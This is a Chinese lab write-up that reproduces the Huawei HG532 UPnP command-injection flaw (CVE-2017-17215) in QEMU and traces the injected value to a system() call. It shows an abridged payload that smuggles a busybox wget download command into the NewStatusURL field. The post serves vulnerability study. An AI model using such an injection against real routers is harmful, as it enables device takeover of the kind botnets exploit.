通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃
1.基本信息:
2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),Mirai的升级版变种中已经使用该漏洞。看起来是个很简单的漏洞了,书上得来终觉浅,须知此事要躬行,复现和分析的过程中遇到很多坑,写文记录一下详细步骤。
华为已经发了漏洞公告,固件已经升级到HG532eV100R001C02B017_upgrade_main.bin。从论坛里找到了带漏洞版本件,HG532eV100R001C02B015_upgrade_main.bin。
分析环境是ubuntu 16.04.
先用binwalk 解压一下:
根据 Check Point 的报告,漏洞点位于 UPnP 服务中,file命令看一下,可以看到upnp应该是跑在MIPS 32 位 大端架构系统
2.配置复现环境:
安装 qemu:
sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
安装网络配置工具:
apt-get install bridge-utils uml-utilities
修改 ubuntu主机网络配置,将ubuntu主机系统中的网络接口配置文件 /etc/network/interfaces 修改为如下内容:
创建QEMU的网络接口启动脚本(/etc/qemu-ifup)并保存为如下内容:
赋予文件/etc/qemu-ifup 可执行权限:
sudo chmod a+x /etc/qemu-ifup
重启网络使所有的配置生效:
sudo /etc/init.d/networking restart
关闭ens33,启动桥连网络br0
sudo ifdown eth0
sudo ifup br0
从https://people.debian.org/~aurel32/qemu/mips/下载对应的debian mips qemu镜像
其他的帖子里有各种下载qemu镜像的地址,试了几个下载都不好用,各种坑
我下载的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。
启动qemu运行刚镜像:
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap
好的,假如一切顺利,可以看到一个qemu虚拟机,用root/root登录进去:
发现网络不通,ifconfig -a 看一下发现网络接口为eth1:
将nano /etc/network/interfaces 文件中的eth0改为eth1:
再用ifup eth1 将eth1启起来,运气好的话此时网络已经好了。
直接操作虚拟机显然比较麻烦,在ubuntu上搞个SSH 连进来,ssh root@虚拟机ip
将之前解压的固件包拷贝到虚拟机里面:
scp -r ./squashfs-root root@虚拟机ip:/root/
完成搭建路由器固件运行的环境。
3.复现漏洞:
第一个问题是怎么让路由器里的服务启起来,我们也不知道是哪个文件会去处理80端口过来的请求,先看下checkpoint报告里的payload
在固件文件夹下搜一下 ctrlt 和 DeviceUpgrade_1,并没有文件名含有这2个词语,再搜下包含这2个词语的文件:
找到固件所在的位置,想直接执行下upnp这个文件,报错,缺少相应的so文件造成。
chroot /root/squashfs-root /bin/sh来切换根目录到路由器文件系统,执行成功:
可是发包过去仍然失败,应该是并没有启动监听服务
那找下端口37215
端口号只出现在mic文件内,看下文件内容:
看字符串像是一个跟网络服务相关的文件,试下运行一下:
看起来像是对了,
ubuntu上nc -vlp 80 监听一下端口,跑一下exp,80端口收到路由器发来的wget 请求包。
4.简单分析:
分析一下upnp中的关键代码:
根据上面payload图,newstatusurl这个节点值为 <NewStatusURL>$(busybox wget -g xxxx ;xx;xx)</NewStatusURL>
snprintf(a0,0x400,"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -",a3)
其中a0是拷贝的源字符串的地址,同时a0又是system 调用的第一个参数。所以最后会执行
system(a0)
如果看完整篇文章想上手试一下路由器漏洞的话,不要忘了当初你是为什么放弃的.
通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃相关推荐
- Spring5.x源码分析 | 从踩坑到放弃之环境搭建
Spring5.x源码分析--从踩坑到放弃之环境搭建 前言 自从Spring发行4.x后,很久没去好好看过Spring源码了,加上最近半年工作都是偏管理和参与设计为主,在技术细节上或多或少有点疏忽,最 ...
- Cracer渗透视频课程学习笔记——漏洞分析
一.常用漏洞分析工具使用 NMAP AWVS AppScan Burpsuite Netsparker JsKy safe3wvs 椰树 M7Lrv 1:NMAP常用功能(端口扫描之王) 主机探测 端 ...
- 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞
前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...
- java学习路线_java学习路线_我的入坑路
java详细路线: 网上有很多学习路线,当初,我就是受这个学习路线的影响入坑的. 既然看到标题为我的java学习路,那就给大家看下我是怎么走过来的. 阶段一_JavaSE 入门推荐书:java开发实战 ...
- 漏洞 立即留言_漏洞挖掘小白入坑指南
文章出处:FreeBuf 文章链接:http://www.freebuf.com/articles/neopoints/144967.html 写在前面的话在此之前,很多朋友都曾通过电子邮件在我直播的 ...
- pycharm不认识numpy?_深度学习(CV方向)入坑不完全指南
前言:这篇文章算是我研究生期间在深度学习这块摸爬滚打收获到的一点皮毛之见.对于刚刚接触这一块,尤其是计算机视觉这块的萌新而言,或许有一定的参考价值.因为这篇文章算是对一些基础知识点的汇总,主要目的在于 ...
- 想学习编程,我是如何入坑python的?
正如谚语所说的:life is short,use Python.--人生苦短,Python 当歌.对于一个入门者来说,我第一个入门的编程语言是C语言,这个对初学者不太友好的编程语言,一度让我觉得想要 ...
- 微型计算机原理学不会,单片机学习很难而且总是入坑?看看这些经验会对你有帮助...
(一) 相信很多爱好电子的朋友,对单片机这个词应该都不会陌生了吧.不过有些朋友可能只听说他叫单片机,他的全称是什么也许并不太清楚, 更不用说他的英文全称和简称了.单片机是一块在集成电路芯片上集成了一台 ...
- Linux设置路由器ip租约时间,入坑Linux-day15(使用DHCP动态管理主机地址)
一.动态主机配置协议(DHCP) #DHCP是一种基于UDP协议且仅限于在局域网内部使用的网路协议,主要用于大型的局域网环境或者存在较多移动办公设备的局域网环境中,其主要用途是为局域网内部的设备或网络 ...
最新文章
- JavaScript + Tampermonkey——易班优课YOOC课群在线测试自动答题解决方案(十七)复合型解决方案油猴脚本
- 在安装、重装MySQL时出现could not start the service mysql error:0的错误
- 中职计算机基础课教学策略研究,中职计算机基础知识教学方法及教学策略研究.doc...
- 洛谷P2147[SDOI2008]洞穴勘测
- 你选书我买单,包邮送55本!ggplot2、R语言、Python任意什么书都可以!
- Java Lambda
- Linux 下摄像头驱动支持情况(arm linux 同样适用)
- 男生三十转行学计算机,三十岁的男人转行学什么技术能跟上时代的脚步?
- 马云:2019年两大行业,会成就一批千万富翁!
- [BZOJ3441] 乌鸦喝水
- 嵌入式开发常用英语单词--你知多少?
- haproxy 客户端真实IP地址添加白名单
- 华为鸿蒙智慧屏_华为鸿蒙系统到底什么样?荣耀智慧屏秀出答案
- 【华为认证】HCIA-DATACOM技术分享-ENSP简介和软件安装操作界面+Python编译器安装-进阶级手册(二)
- 超融合架构和服务器虚拟化是什么关系?超融合厂商提供什么样的服务器虚拟化?...
- 程序员最大的悲哀是什么???
- php用excel打开乱码,php下载utf8编码的csv,用excel打开乱码
- 如何成为智能合约开发者
- 硅谷之行 (16) 单身民工的生活
- python爬虫捕鱼网站_Python爬虫从太平洋地震工程研究中心数据库自动下载地震波时程...
热门文章
- VxWorks 6.9 内核编程指导之读书笔记 -- POSIX
- 【Java】函数使用
- 在Fedora上搭建GTK+的开发环境
- 浅谈C#中virtual和abstract的区别
- ip地址伪装php,技术教程:如何使用浏览器插件伪装IP地址
- 树莓派模拟电路_基于树莓派的热电偶测量模块 MCC 134
- php反向解析域名,域名系统 – Cloudflare,反向DNS和php邮件,最终在垃圾邮件文件夹中...
- php管理员登陆问题,discuz论坛管理员无法登录后台的原因和解决方法
- stm32 通用bootloader_stm32最简单的实现BootLoader
- python predict_对Keras中predict()方法和predict_classes()方法的区别说明